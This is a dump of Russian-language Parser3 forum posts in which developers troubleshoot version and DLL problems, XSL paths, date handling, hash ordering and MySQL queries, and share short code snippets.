Я тестировал и использую [url=http://www.parser.ru/download/beta/]бета-версию 3.2.3[/url].\
\
Скачал и поставил 3.2.2 (с XML) — работает нормально."
"65646","Во всех файлах parser3.exe из:\
parser3_2_2_win32_cgi.zip\
parser3_2_2_win32_cgi_xml.zip\
p323b3_win32_cgi_xml.zip\
\
есть текст MSVC[color=\"#ff0000\"]P[/color]71.dll - в версии 3_2_1 только MSVC[color=\"#ff0000\"]R[/color]71.dll\
И соответственно запуск 3_2_2 приводит к ошибке.\
\
Хорошо! Будем ждать исправления :-)"
"65647","Версия собрана давно, при этом никто не жаловался.\
Что наводит на подозрения в проблемах вашей ОС.\
\
Попробуйте бету 3.2.3, заработает ли?"
"65648","Миша обещал посмотреть, откуда зацепилась привязка к этой библе, но наверно руки пока не дошли.\
\
Проблема нечасто появляется возможно потому, что эта библиотека ставится еще с каким нибудь распространенным софтом ..  Но я на это натыкался лично, как раз на свежеподнятой машине"
"65649","не надо ждать исправления - обе библиотеки легко находятся гуглом и кладутся в /windows/ или /windows/system32/\
\
тока источник относительно нормальный нужен конечно, а то так и до беды недалеко...я например брал тут: http://www.dll-files.com/"
"65650","Пока нет Миши постараюсь ответить - потом, если что - поправит :)\
\
[quote]Ведь блоки глобальных объектов не привязываются к данному объекту, тогда где в данном XML они будут выводиться? [/quote]\
\
[code]\
<document>\
	<info>\
		<date ... />\
		<client> ... </client>\
	</info>\
	<document> ... </document>\
	<navigation> ... </navigation>\
        <content>\
            Блоки данного объекта\
        </content>\
        <global>блоки глобального объекта</global>\
</document>\
[/code]\
\
Доказательство:\
http://www.samsung.ru/?mode=xml\
\
[quote]Еще интересует их порядок. Если же они выводятся с блоками данного объекта, то как происходит их сортировка?[/quote]\
\
Больше одного глобального объекта делать - смысла мало. Тоесть всё глобальное - хранить в одном месте, хотя, конечно, все может зависеть от конкретной задачи. Но если вытащить несколько глобальных объектов - они будут обрабатыватся по очереди, а блоки каждого из них по sort_order.\
\
[quote]Глобальные объекты находятся только в корне сайта (у них parent_id = 0)? Или же они могут быть и детьми какого-то объекта (у которого object_type_id может быть равен 2 (leaf)).[/quote]\
\
Глобальные объекты могут быть где угодно в структуре сайта, но логичнее делать один глобальный объект \"Общая информация сайта\" в корне (parent_id = 0).\
\
[quote]Если же могут быть детьми, то они также и показываются у всех объектов или только в данной ветке?[/quote]\
\
Не знаю как это реализовано у Миши, но предполагаю, что глобальный объект должен глобальным - тоесть для всех объектов."
"65652","[quote]Или же они могут быть и детьми какого-то объекта (у которого object_type_id может быть равен 2 (leaf)).[/quote]\
\
Тип объекта \"leaf\" , насколько я знаю - использовался Мишей как тип объекта у которого как раз не может быть никаких детей. Тоесть, только для админа - чтобы нельзя было создать, но сейчас не используется.\
\
А вообще не всегда стоит делать так как делают другие - лучше отталкиваться от собственных задач. XML в \"доказательстве\" не пример для подражания имхо:)"
"65653","в тех.поддержке как обычно:\
\"обратитесь к разработчику\""
"65654","в общем дал пароли другу, так как моих знаний уже было недостаточно. Что он там подправил в настройках говорить отказывается (вроде как сам не понимает почему все заработало).\
\
В итоге поставили \
Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)\
все работает.\
\
большое спасибо"
"65656","Миша, по-моему, просто не в том компиляторе собрал, вот оно бибилиотеки и ищет."
"65659","[code]\
cd /путь/где/у/вас/веб/пространство\
/путь/к/parser3.cgi имя_скрипта.p\
[/code]"
"65661","да, похоже на баг.\
задумывалось, чтобы работало и так и так. сходу не вижу проблем в compile.y, там очевидного бага нет. но он есть. разберёмся=расскажем.\
\
пока можно попользовать чуть проще имя переменной или перепрятываться…\
[code]\
$name[images.image_id]\
$.$name{${TABLES.images}.image_id}\
[/code]"
"65662","рассмотрите возможность использования, скажем, perl.\
ну и, конечно, вычислять atan(y/x) ил y/h по два раза, наверное, не нужно.\
\
безотносительно к средству, рассмотрите возможность параллельного выполнения части задач:\
4 скриптам дают поработать над 1/4 частью входных данных, и запускают все 4 одновременно.\
немножко в этом деле может помочь \"make -j4\".\
\
это сильно загрузит вашу машину, но на многопроцессорной машине даст прирост.\
но, понятно, свободных ресурсов на ней не останется ;)"
"65664","Вобщем, может кто-то знает хотя бы принцип.\
\
То есть, ясное дело можно складывать IP-шники — но это не даст полной картины. Плюс, я думаю, надо ещё запоминать периодичность скачивания ленты для представления некой актуальности. Можно перекидывать на FeedBurner, но этот вариант почему-то я хочу отмести.\
\
Есть идеи?"
"65671","Разобрался, спасибо за помощь, но проблема была в совсем другом месте, не связанном с работой сайта."
"65673","Вот вам пример [url=\"http://feeds.zawodny.com/~r/jzawodn/rss2/~3/253223949/010105.html\"]решения[/url], которое не светит пользователям факт использования feedburner и даёт в случае чего от него без последствий отказаться."
"65674","[quote]^хеш.foreach[ключ;значение]{тело}\
\
Метод аналогичен методу menu класса table. Перебирает все ключи хеша и соответствующие им значения (порядок перебора не определен). [/quote]\
\
Как же сделать так, чтобы перебор был строго сверху вниз, независимо от названия ключа?"
"65675","Сверху вниз относительно чего??\
Хеш по определению не сортирован.\
Если нужен вывод с сортировкой, посмотрите как устроен оператор @foreach в библиотеке Lib.p"
"65676","Я делаю таблицу на основе хэша со стольбцами: \"ключь\" и \"что-то нибуть другое\". Потом сортирую таблицу методом \"sort\" и добавляю етой таблицу в хеш методом \"add\". \
\
для оброботки используюсь методои \"^hash.table.menu\" вместо \"^hash.foreach\"\
\
можете посмотрить в [url=\"http://cms.forjesus.eu/_data/cms.tgz\"]моей cmsке[/url]\
\
/_classes/site.p - линия 69\
/auto.p - линия 105"
"65677","Я читаю 4 канала в Опере. Обновление стоит по 15 минут. Это что ж это 96 человек в день?"
"65678","Просто чтоб он выводился в цикле в том же порядке, в каком он был создан, а то у меня только вразброс получаеися. Я посмотрю как вы написали, спасибо"
"65679","Спасибо, посмотрю:)"
"65680","Вы, наверное, неправильно понимаете предназначение хеша, раз хотите иметь в нём \"порядок\"."
"65682","Раз уж меня спросили:\
^if($page_cache == 1){\
^cache[/cache/^math:md5[$request:uri]](600){\
\
^top[] ^body[] ^footer[]\
}\
}{^top[] ^body[] ^footer[]}\
\
И сбрасывать кеш при изменении текста страницы в админке"
"65684","Я хочу использовать его для построения форм. Хэшем мне это сделать гораздо удобнее, чем через таблицу. Но вот, уперся пока в то что в нем нет порядка:) Я прекрасно понимаю, для чего нужен хэш, просто хотел его применить по своему:)"
"65685","Попробуйте сделать так:\
Добавьте ключ order.\
Когда надо будет выводить данные — создайте таблицу со всеми вариантами order, отсортируйте таблицу, а потом menu, и в теле menu обращайтесь к хэшу."
"65688","Или вы думаете что любая система статистики замерла на уровне 96 года?"
"65692","Какая система статистики? Или вы мне предлагаете из Awstats вынимать кол-во скачиваний за месяц?"
"65695","Feed Title: ?????? — не круто."
"65696","вот что я сделал\
[code]^throw[;=$connect_string=]^connect[$connect_string][/code]\
\
вот что ответил парсер \"==\""
"65699","У вас в $connect_string ничего нет, впишите туда что-нибудь?\
\
[code]$connect_string[mysql://user:password@localhost/db]\
#^throw[;=$connect_string=]\
^connect[$connect_string]{\
...........\
}\
[/code]"
"65701","я не смотрел сервис, но скорее всего это будет скоро исправлено, потому как google наложил свои руки на них"
"65702","у меня connect_string равен mysql://root@localhost/varezhki"
"65703","Это что то меняет?\
\
[code]$connect_string[mysql://root@localhost/varezhki]\
#^throw[;=$connect_string=]\
^connect[$connect_string]{\
...........\
}[/code]"
"65704","Суть проблемы такая:\
делаю новую версию сайта под виндовый веб-сервер Eserv.\
\
У меня в CMS-ке используются шаблоны на XSL.\
\
Раньше я использовал статические шаблоны и обрабатывал их следующим образом:\
\
[code]\
$src[^xdoc::create{$source}]\
$transformed[^src.transform[$stylesheet]]\
^transformed.string[\
	$.method[xhtml]\
	$.indent[no]\
	$.encoding[$response:charset]\
]\
$src[]\
$transformed[][/code]\
\
В [b]$source[/b] - я забивал XML-дерево страницы\
В [b]$stylesheet[/b] - путь к файлу XSL\
\
Теперь, у меня работает немного иная схема: в XSL-шаблонах используються динамические области. Я подгружаю шаблон в переменную\
[code]$xslTemplate[^file::load[text;${xslPath}${stylesheet}]][/code]\
После чего обрабатываю ее вставляе необходимые импорты:\
[code]\
$stileS[^untaint{^xslTemplate.text.match[<!--import-->][i]{^curComList.menu{\
	^if(($curComList.type ne \"html\") && (!^importTable.locate[lib;$curComList.lib])){\
		<xsl:import href=\"mod/${curComList.lib}.xsl\"/>\
		^importTable.append{$curComList.lib}\
	}\
}}}][/code]\
\
После чего получившийся текст передаю в переменную [b]$stylesheet[/b]\
[code]$sheet[^xdoc::create[$xslPath]{$stileS}][/code]\
Где в [b]$xslPath[/b] указываю путь к папке с XSL относительно корня (/xsl/)\
\
Под Apache все работает. А вот под Eserv Parser теряет пути:\
[quote]I/O warning : failed to load external entity \"mod/news.xsl\"\
compilation error: file …//xsl/ element import\
xsl:import : unable to load mod/news.xsl\
I/O warning : failed to load external entity \"lank/layout.xsl\"\
compilation error: file …//xsl/ element import\
xsl:import : unable to load lank/layout.xsl\
[/quote]\
\
Как сделать так, чтобы [b]^src.transform[/b] не терял пути?"
"65705","еще вот такой вопрос, что значит [b]call canceled - endless recursion detected[/b]"
"65707","Что-то у Вас рекурсивно вызывается в коде и получается бесконечный цикл.\
Приведите полный текст ошибки из лога и строку кода, на которую она ссылается."
"65708","с циклом разобрался))"
"65709","Говорите не понимает? )"
"65710","А у него стоит там.\
\
???????? ????????????????-????????????????????????\
\
Вобщем, не суть. Я хочу не отвертеться сторонним сервисом, а понять как это работает."
"65711","Насколько оправдано динамическое формирование шаблона?\
Может быть достаточно пойти более простым путём: «обёртка» со всеми необходимыми импортами, а импортируемые файлики со строгой типизацией по задачам?"
"65713","поменял @AUTO[] на @auto[] и проблема исчезла...\
закройте пожалуйста тему"
"65714","только разобрался с одной проблемой, появилась другая\
[b]\
Wed Mar 19 19:00:15 2008] [24312] /: /home/xxx/xxx.com/www/auto.p(129:34): './lib/libparser3mysql.so' can't open the module [<no type>] [uri=/, method=GET, cl=0][/b]"
"65715","У меня динамически в XSL-шаблон прицепляться пути подключения модулей. Т.к. я заранее не знаю какие модуле и в какой части страницы могут быть вызваны у меня просто стоят метки, где их можно вставлять.\
\
Модули к каждому разделу прицепляться через админку, а при сборке страницы для каждого модуля подключается соответствующий XSL-шаблон."
"65717","Изучаю парсер второй день, вроде ничё так даже получается, хотя с программированием не особо дружу. У меня возник такой вопрос:\
\
В уроке с новостями, на страничке добавления новости там в поле с датой она вводится в таком формате гггг-мм-дд, я её переделал в формат более удобный для восприятия, к которому мы все привыкли дд.мм.гггг и в бд вообще храниться другая дата, к примеру я ввёл 19.03.2008, а в бд полуатся 20.03.2019. Как быть?"
"65718","Или вы [url=http://www.parser.ru/docs/lang/dateclass.htm]её[/url] не читали?.."
"65719","Т.е нужно использовать формат времени Unix?"
"65720","Сформулируйте что именно вы хотите, словами.\
Если не понимаете чего хотите — не нужно гадать."
"65721","Я хочу чтобы вводилась и выводилась дата в формате\
дд.мм.гггг, а не в формате гггг-мм-дд"
"65722","Вы не пояснили как собираетесь задачу решать.\
Даже не предположили, и не попробовали разобраться, почитав [url=http://www.parser.ru/docs/lang/datefields.htm]элементарное описание[/url] или зайдя [url=http://www.parser.ru/examples/date/]в примеры[/url].\
\
Последующие вопросы такого рода буду сразу [url=http://www.parser.ru/faq/forum/]удалять[/url]."
"65723","Добрый день, прошу прощения за некий повтор, но у иеня горят сроки, поэтому прошу вашей помощи (\
\
когда стало выдаваться сообщение\
'now' is 'date', not a method or junction, can not call it [parser.runtime]\
\
по совету на форуме скачал исправленный класс авторизации, но парсер такжеругается на \
^oSql.now[]\
\
что сделать, чтобы все заработало\
\
Заранее благодарен"
"65724","Вы не привели тест ошибки.\
\
Включив экстрасенсорные способности, предполагаю, что вместе с классом авторизации вы не обновили [url=http://www.parser.ru/f/1/examples/sql/Sql.zip]классы для работы с БД[/url]."
"65725","Исходя из того, что вы говорит про \"добавление\" новостей и про то что \"получается в БД\" попробую предположить, что вы не знаете как дату преобразовать обратно, чтобы добавить ее в БД корректно.\
\
Есть разные способы.\
1. раскладваете поля даты по разным инпутам, а при обработке формы склеиваете их в объект.\
2. делаете один input в который кладете форматированную дату, а при обработке разбираете ее на составляющие, конструируте объект \
3. ну можно еще js-ом генерить hidden поля - но это лесом.\
\
1.\
[code]^rem{$date - объект класса date (либо из базы, либо ^date::now[])}\
<form name=''>\
  <input name='do' value='send' type='hidden' />\
  Дата: <input name='day' type='text' value='^date.day.format[%02d]' />.\
  <input name='month' type='text' value='^date.month.format[%02d]' />.\
  <input name='year' type='text' value='$date.year' />\
  ..............\
</form>\
^if($form:do eq send){\
   $dSendToDB[^date::create($form:year;$form:month;$form:day)]\
   ^connect[sql]{\
      INSERT INTO table\
      SET date = '^dSendToDB.sql-string[]'\
      .......\
   }\
}\
[/code]\
\
\
2.\
[code]^rem{$date - объект класса date (либо из базы, либо ^date::now[])}\
<form name=''>\
  <input name='do' value='send' type='hidden' />\
  Дата: <input \
         name='date' type='text' \
         value='^date.day.format[%02d]-^date.month.format[%02d]-${date.year}' \
        />\
  ..............\
</form>\
^if($form.do eq send){\
   ^form:date.match[(\\d+)-(\\d+)-(\\d+)][]{\
      $day($match.1)\
      $month($match.2)\
      $year($match.3)\
   }\
   $dSendToDB[^date::create($year;$month;$day)]\
   ^connect[sql]{\
      INSERT INTO table\
      SET date = '^dSendToDB.sql-string[]'\
      .......\
   }\
}[/code]\
\
Пример не претендует на точность и полноту, просто хотел показать принцип\
В частности в данном случае можно использовать не match, а split. Запросы делать через класс на подобии Мишиного sql.p и т.п. Дальше сами"
"65726","если ваши горящие сроки меньше, чем полгода - думаю такими темпами не успеете однозначно :)"
"65727","3.2.1 для FreeBSD на был собран\
с динамической libstdc++, а 3.2.2\
со статической (видимо поменялся дефолт).\
\
В драйвере же libstdc++ используется. При этом на FreeBSD 4.x (судя по размеру .so) она попадает в драйвер статически, а на 6.x - при тех же опциях сборки - динамически.\
Если собрать .so с ней статически вручную - работает.\
\
Миша вернется - поправим на сайте либо парсер или драйвер mysql..."
"65728","Классы обновил"
"65729","если вариантов нет, зачем засорять форум?"
"65730","Заглянув в [url=http://www.parser.ru/faq/forum/]инструкцию по эксплуатации форума[/url].\
\
Телепатией часто пользоваться не могу — голова болит."
"65731","я для того и написал, что это оффтопик\
\
полагаю оффтопика можно было бы избежать сразу, если бы вы воспользовались поиском, вероятно это ваш случай:\
http://www.parser.ru/forum/?id=62630\
\
к тому же ваше описание ошибки в том виде в котором предоставлено - не позволяет вам помочь, поскольку данных о ней предоставлено слишком мало.\
\
Все это говорит о том, что вам лень читать FAQ, лень пользоваться поиском, очень жаль"
"65732","...никаких проблем.\
\
Давайте, выкладывайте, как докатились до такой жизни. Что откуда качали, что куда ставили, какие параметры соединения к базе, работает ли это соединение. Созданы ли таблицы для работы класса. Какие классы подключены, какой файл запускаете и полный код ошибки с экрана копи/паст сюда. Будем думать вместе."
"65733","Вместо [b]/xsl/[/b] указал [b]./xsl/[/b]"
"65734","Коллеги, прошу помощи. Никак не могу придумать простой вариант решения простой задачки. \
Есть таблица ID, category и другая инфа. Надо достать отуда одну единственную случайную строку, но так, чтобы категория была = заданному значению. Наверное плохо рыл доку по мусклю, но не нашел. Или лучше вытащить всю категорию и выбирать случайное парсером? Можно, но имхо не красиво...\
Помогите пожалуйста."
"65736","[quote]3. ну можно еще js-ом генерить hidden поля - но это лесом.[/quote]\
\
Как раз это самое правильное я думаю, через жс определять локальное время клиента.\
\
Я просто немогу понять алогоритма. Я хочу чтобы люди с разных часовых поясов видели время в своём часовом поясе, а не в моём.\
\
Незнаю как это правильно реализовать...\
1. Я ввожу новость с определением локального времени через жс\
2. Как мне надо вводить в бд эту дату преобразовывать в скул стринг или в юнихтайм?\
3. И как выводить правильно для разных часовых поясов?"
"65737","Зачем нужен этот JS??\
Если время новости = текущее (как чаще всего и бывает), а не руками выставленное, то в базу прописываете now() -- функция MySQL.\
Что и как делать с датами, полученными из базы -- подробно написано в документации, там есть и про часовой пояс."
"65738","Вам дали массу информации, подсказок и наводящих ссылок, при этом не увидели от вас ни строчки кода, ни мысли самостоятельного решения.\
\
Ещё раз — [url=http://www.parser.ru/faq/forum/]как правильно задавать вопросы на форуме[/url]."
"65740","Никаких хитростей с вычисление читателей нет. Обычный обсчёт статистики. Ну, разве что хитов будет больше"
"65741","... where `category` = '1' order by rand()}[$.limit(1)]"
"65742","Индексы использоваться не будут.\
Если записей не много — ещё куда не шло.\
\
Иногда выручает финт, [url=http://kurapov.name/category/1491/]вроде такого[/url]."
"65743","Если возник вопрос такого уровня."
"65744","Большое спасибо, ступил, все работает"
"65745","... прочтите, что вам ответил товарищ G_Z - сам использую данный финт на достаточно больших базах (~400 МБ) и это лучшее по скорости решение.\
\
Если же нужно, чтобы работало и на версиях постарше - тогда решение 2 запросами от Миши: http://www.parser.ru/forum/?id=62899"
"65748","думаю, дело в том, что он у вас автоопределяется Parser'ом неточно.\
попробуйте в основном auto.p переопределить в корректный, и заработает \"как в apache\"."
"65749","вот объяснение:\
http://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B5%D0%B4\
\
кто-то тут волнуется — пожалуйста, не волнуйтесь так.\
а то мы уже за вас стали волноваться, и очень сильно испугались обещанной страшной DDOS атаки, очень уж жить охота."
"65750","задумка, чтобы код читался, польза прямая, в первую очередь, себе.\
\
кажется, уже постил:\
[code]\
if flag then\
   ...\
else if not flag then\
   ...\
else if not (flag) and not (not flag) then\
   ...\
endif\
[/code]\
\
ещё есть много мнений как называть переменные, и даже книг.\
вот я (сторонний читатель), явление page_cache не понимаю совсем.\
почитав корневую ветку могу предложить\
[code]\
page_cache_enabled\
[/code]"
"65751","Я три месяца мучался, чтобы настроить Parser под Eserv. В результате, мой админ договорился с разработчиками (есть выходы) и они включили в комплект поставки [url=\"http://www.eserv.ru/ru/PigMail/WhatsNew2006?phrase_id=601650\"]специальный модуль[/url] для поддержки Parser.\
\
Как оказалось, у Eserv-а немного \"специфический\" способ формирования путей. Отличный от Apache и даже IIS.\
\
[url=\"http://forum.etype.net/viewtopic.php?t=3894&start=0\"]http://forum.etype.net/viewtopic.php?t=3894&start=0[/url]\
\
Главное, что решение использовать ./xsl/ универсально работает пока."
"65752","Сделайте выборку по таблице с сессиями, всех пользователей с временем последнего доступа менее 5 минут"
"65753","Помогите пожалуйста."
"65754","А еще есть копилка регулярных выражений от Eugene Spearance:\
http://spearance.ru/parser3/regex/\
\
P.S. Там есть неплохие примеры, которые Вам помогут."
"65755","Ок, спасибо большое - сейчас пороюсь"
"65756","можете перезалить файл  ато уже не качается"
"65757","как средствами парсера сделать список папок с подпапками и файлами в них. количество волжений неизвестно"
"65759","там много сообязительного кода...\
\
вы можете тоже пользоваться етой методой:\
\
[code]\
@loadTree[sDir][tDirectories;tList;thisDir]\
$result[^hash::create[]]\
\
$tList[^file:list[$sDir]]\
$tDirectories[^table::create{name}]\
\
^tList.menu{\
$thisDir[${sDir}$tList.name]\
^if(-d $thisDir){^tDirectories.append{$thisDir}}\
}\
\
^tDirectories.menu{\
$result.[$tDirectories.name/][^if(^tDirectories.count[] > 0){^loadTree[$tDirectories.name/]}]\
}\
[/code]"
"65760","правился только _инсталлятор_, а не архивы с бинарниками.\
\
в архивах это будет исправлено только с выходом следующей версии."
"65761","как хотите так и выводите. у меня они выводятся _обработчиком_.\
\
порядок стандартный -- как отсортированы в админе. выводятся отдельно от блоков текущего объекта.\
\
глобальные объекты могут находится где угодно, и по моему использовать несколько глобальных объектов удобнее, чем один: один для привязки css, второй для js, третий для информации общей для всех страниц (типа copyright и т.п.) и т.д."
"65762","Мне кажется objects и blocks для этого очень удобны. И поддержка локалей будет и можно выводить в виде дерева... Как на это смотрит студия, использует такой подход, или он не особо хороший?"
"65763","мы пробовали. не понравилось: очень неудобно их админить, т.к. поиск \"новостей\" \"несколько\" отличается от поиска объектов, количество \"новостей\" также обычно большое, календарь делать рессурсоёмко (делать подразделы не предлагать, т.к. у новостей ещё бывают типы и дополнительные механизмы фильтрации, например привязка к регионам)"
"65766","проблема связана с переходом на новую версию парсера. информация об этой несовместимости есть в новостях от... 28 июля 2005 года.\
\
раньше в классе sql.p был метод и переменная с именем 'now'. соотв. надо было или продолжать использовать версию парсера до 3.2.0 или перейти на обновлённые sql классы."
"65767","Что следует модернизировать, чтобы просмотреть сайт, на котором используются host headers"
"65768","Тут выкладывали както подсветку для этого редактора, но по той ссылке уже не скачать. Плз выложите еще раз те кто успел скачать"
"65769","Тема старая, но все же...\
\
Функция pack(\"H*\", ...) как таковая в парсере не реализована, а делает она следующее: на вход передается строка, содержащая строковое представление hex-числа (например, \"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\"). На выходе получаем упакованную строку, где каждая пара входящих символов представляет собой hex-код выходного символа. Пример: \"a9\" = \"©\", \"4a\" = \"J\" и т. д.\
\
На практике функция используется при авторизации на java-серверах игры Lineage II.\
\
Реализация:\
(не оптимальна, зато ясна)\
[code]\
@packH[str][len;i;code;hexcode;hex;res]\
$len(^str.length[]\\2)\
^for[i](0;$len-1){\
	$code[^str.mid($i*2;2)] // берем два символа\
	$hexcode[0x$code] \
	$hex($hexcode) // получаем из них число\
	$res[${res}^char[$hex]] // наращиваем результат\
}\
$result[$res]\
[/code]\
\
Функцию char подсмотрел здесь у кого-то на форуме. Дабы не искать, тоже привожу здесь:\
[code]\
@char[code][i]\
^if(!def $ascii){$ascii[^process{^for[i](1;255){^^#^i.format[%02X]}}]}\
$result[^ascii.mid(^code.int(0) - 1;1)]\
[/code]"
"65770","Можно сделать так:\
[code]\
@fromHEX[aStr][lHEX]\
  $result[^process{^aStr.match[([0-9a-f]{2})][gi]{$lHEX[0x$match.1]^^#^lHEX.format[%02X]}}]\
[/code]"
"65771","[code]\
@toHEX[aStr][lCodes]\
  $lCodes[^hash::create[]]\
  ^for[i](1;255){$lCodes.[^process{^^#^i.format[%02X]}][^i.format[%02X]]}\
  $result[^aStr.match[(.)][g]{$lCodes.[$match.1]}]\
[/code]"
"65772","Для развития нескольких достаточно крупных проектов нам требуются программисты, имеющие опыт работы на скриптовых языках. Зарплата адекватная, офис не далеко от Кропоткинской. Писать можно на oleg@proc.ru."
"65773","Если у объекста указан link на другой объект. То какая именно информация показывается?\
Т.е. фактически обрабатываются только блоки объекта на который ссылаются. А как же обстоят дела с шаблоном? Если он определен у того на который ссылается, а у данного не определен, то в result'е будет XML от Engine или обработанные данные шаблоном?\
Что еще будет если у данного объекта имеются блоки? В каком порядке выведутся эти блоки и блоки объекта на который ведет ссылка (подразумеваю, что относитьельно sort_order)?\
Есть еще один вопрос, если же у объекта на который ссылается данный объекта тоже определена ссылка на другой объект, что будет происходить?"
"65774","Ссылка на ссылку на объект:)\
Стоит ли так заморачиваться?\
\
Трех типов ссылок хватает более чем... ссылка на блоки другого объекта, внутренний редирект, внешний редирект.\
\
А в админе не давать возможности поставить ссылку на ссылку, так наверно."
"65775","Подскажите , есть такая форма:\
---------------------------------\
<form method=\"POST\">\
  <SELECT name=\"year\">\
    <OPTION VALUE=\"1998\">1998\
    <OPTION VALUE=\"1997\">1997\
  </SELECT>\
  <SELECT name=\"month\">\
    <OPTION VALUE=\"3\">3\
    <OPTION VALUE=\"4\">4\
  </SELECT>\
  <input type=\"submit\" value=\"OK\" name=\"posted\">\
</form>\
$month $year\
--------------------------\
Год назначется правильно, а месяц не меняется. ЧТо тут не так?"
"65776","[code]CREATE TABLE `news` (\
  `id` int(11) NOT NULL auto_increment,\
  `group_id` int(11) NOT NULL default '0',\
  `name` varchar(255) NOT NULL default '',\
  PRIMARY KEY  (`id`)\
) ENGINE=MyISAM AUTO_INCREMENT=3676 DEFAULT CHARSET=cp1251 AUTO_INCREMENT=3676 ;[/code]\
\
запрос не ищет на русском языке. А если написать 'Auto*', то всё работает (оба слова в базе существуют).\
SELECT * FROM `news` WHERE MATCH (id,name) AGAINST ('Авто*' IN BOOLEAN MODE)\
Понять не могу почему."
"65777","Если значения из формы то может быть $form:month $form:year?\
\
Теги <option> не закрыты... неклассно:("
"65778","Каюсь не полный код дал , засыпаю. На счет OPTION так правильно ?:\
    <OPTION VALUE=\"1998\">1998</OPTION> \
Вобщето у меня работает другая форма с незакрытими, из какого-то примера брал.\
---------------------------------------\
\
<center>\
<form method=\"POST\">\
  <SELECT name=\"year\">\
    <OPTION VALUE=\"1998\">1998\
    <OPTION VALUE=\"1997\">1997\
  </SELECT>\
  <SELECT name=\"month\">\
    <OPTION VALUE=\"3\">3\
    <OPTION VALUE=\"4\">4\
  </SELECT>\
  <input type=\"submit\" value=\"OK\" name=\"posted\">\
</form>\
\
$now[^date::now[]]\
\
Выбрать год:<br>\
<a href=\"/news/?year=2007\">2007</a>\
<a href=\"/news/?year=2008\">2008</a>\
<br>\
$year(^if(def $form:year){\
   $form:year\
}{\
   $now.year\
})\
\
Выбрать месяц:<br>\
^for[month](1;12){\
  <a href=\"/news/?month=$month\">$month</a>\
}\
$month(^if(def $form:month){\
   $form:month\
}{\
   $now.month\
})\
$month $year\
</center>"
"65779","Я не знаю каким видом назначаеться тебе год. К переменным из формы \
оброщаемься через класс form. Ты должен сделать следущее:\
$form:month $form:year\
\
для роботы с датами я взял сообязительный скрипт в Javscript из PHPMyAdmin\
посмотри как роботает это на http://temp2.forjesus.eu/test.phtml"
"65780","когда у меня проблемы в скуеле с кодировкой я всегда ползуюсь \"SET NAMES\".  \
\
на пример:\
[code]^connect[$MAIN:SQL.connect-string]{\
	^void:sql{SET NAMES cp1250}\
	$lista[^table::sql{SELECT * from ksiazki ORDER BY 'order'}]\
}[/code]"
"65781","Както сложноватоо , и javascrypt не люблю. Если другого способа нет то попробую. Я в первом ответе полный листинг показал, это я ошибся."
"65783","[quote]MATCH (id,name)[/quote]\
зачем искать текст, там где его быть не может.\
MATCH (name)\
\
А вообще явно что-то с кодировкой. У меня такая проблема была как-то на локальном сервере, починилась настройкой кодировки по-умолчанию в my.cnf."
"65784","укажите для формы action..."
"65785","там\
default-character-set = cp1251\
...\
default-character-set = cp1251\
init-connect = \"set names cp1251\"\
у меня тоже сейчас локально (Денвер 3)\
Да только не ясно на что менять"
"65788","Тот запрос переписал вручную в PhpMyAdmin - сработал\
Перекинул этот запрос в рабочий файл - попробовал, сработало.\
Заменил строку поиска на переменную AGAINST ('$se' IN boolean MODE) - уже не работает! :(\
Перекинул строку запроса из логов в PhpMyAdmin - не работает!!! Ошибок не пишет! в чём дело не понятно! :("
"65790","... я про то чтобы проверить...\
а вообще с $request:charset все в порядке? не UTF ли?\
или в строке подключения какой-нить ?charset=utf8 затесался?\
\
Поставьте $request:charset[windows-1251] и заведомо сломайте SQL-запрос, чтобы в логах увидеть, что там на самом деле базе передаётся..."
"65791","так вот при появлении ID перестаёт работать. Видимо из-за этого. :) ну ладно, хоть без него, уже проще....\
Спасибо..."
"65792","Видимо мускуль спотыкается об нетекстовое поле и дальнейший поиск игнорирует... только вот не понятно почему с латиницей все проходит - как вы написали..."
"65793","ID в поиске тож нужен, там вообще по нескольким столбцам поиск будет... просто поиск по ID заменил проверкой дополнительной. Теперь ясно как обходить это. :) Спасибо"
"65794","у меня ещё есть link_to_object_type_id, который и задаёт поведение ссылки (см. ответ Дениса)\
\
ссылки на объект, который и сам есть ссылка работают и приводят к ещё одной ссылке (и так до самого последнего, не ссылочного объекта)."
"65795","Вопрос как передать через форму более одной переменной? Стандартными способами."
"65796","В приведенном вами коде, все нормально работает, за исключением ситуации когда передается month или year как в строке запроса, так и методом POST. \
\
В таком случае в $form:month попадает значение из строки запроса, а не из формы. \
\
Чтобы этого не возникало выполните то, что я вам посоветовал.\
http://www.parser.ru/forum/?id=65784"
"65797","Да... послушайте Дениса.\
\
через action должно удалить из строки запроса всё после \"?\"\
\
пример:\
[code]<form action=\"?\" method=\"POST\">[/code]"
"65798","Товарищи парсеристы, прошу отписать в эту тему тех, кто собирается на апрельскую конференцию [url=http://rit2008.ru]РИТ-2008[/url].\
\
Думаю, что будет интересно там пересечься. :)"
"65799","[quot]\
(и так до самого последнего, не ссылочного объекта)\
[/quot]\
Сколько запросов в БД делает Engine в данном случае?"
"65800","При нажатии на <input type=\"image\" name=\"iname\">\
в GET (или POST) передаются переменные iname_x и iname_y (они преобразуются из iname.x и ineme.y, которые видны в вашем запросе)"
"65801","Если запрашиваемый по ссылке объект уже есть в треде, который достали из базы - запроса не будет.\
\
Если нет - то выполнится 1 запрос и так далее..."
"65802","[quote]Internal Server Error\
\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Please contact the server administrator, admin@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.\
Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 Server at localhost Port 80[/quote]\
\
По порядку: стоял последний комплект: [url=\"http://www.denwer.ru/dis/Base_Parser/latest?comefrom=parser.ru\"]Denwer 3 + Parser 3.2.2[/url]\
Все работало отлично и нареканий не вызывало. Понадобилось переустановить ОС, после переустановки все отказалось работать. Что очень странно, так как:\
• Во первых переустанавливал все с одного диска, с того с какого все ставилось и в прошлый раз.\
• И во вторых, кто пользуется Денвером, знает что он удобен своей неприхотливостью. Пакет с отлаженным дистрибутивом, можно спокойно архивировать и потом использовать без повторной установки, не теряя при этом каких либо данных.\
\
Еще как оказалось, это происходит только с новой версией Parser 3.2.2, а если в директорию дистрибутива Денвера C:\\WebServers\\usr\\local\\parser3\\ где находится сам parser3.exe заменить его на версию [url=\"http://www.parser.ru/f/1/download/win32/parser3_2_1_win32_cgi_xml.zip\"]3.2.1[/url] то все начинает работать.\
\
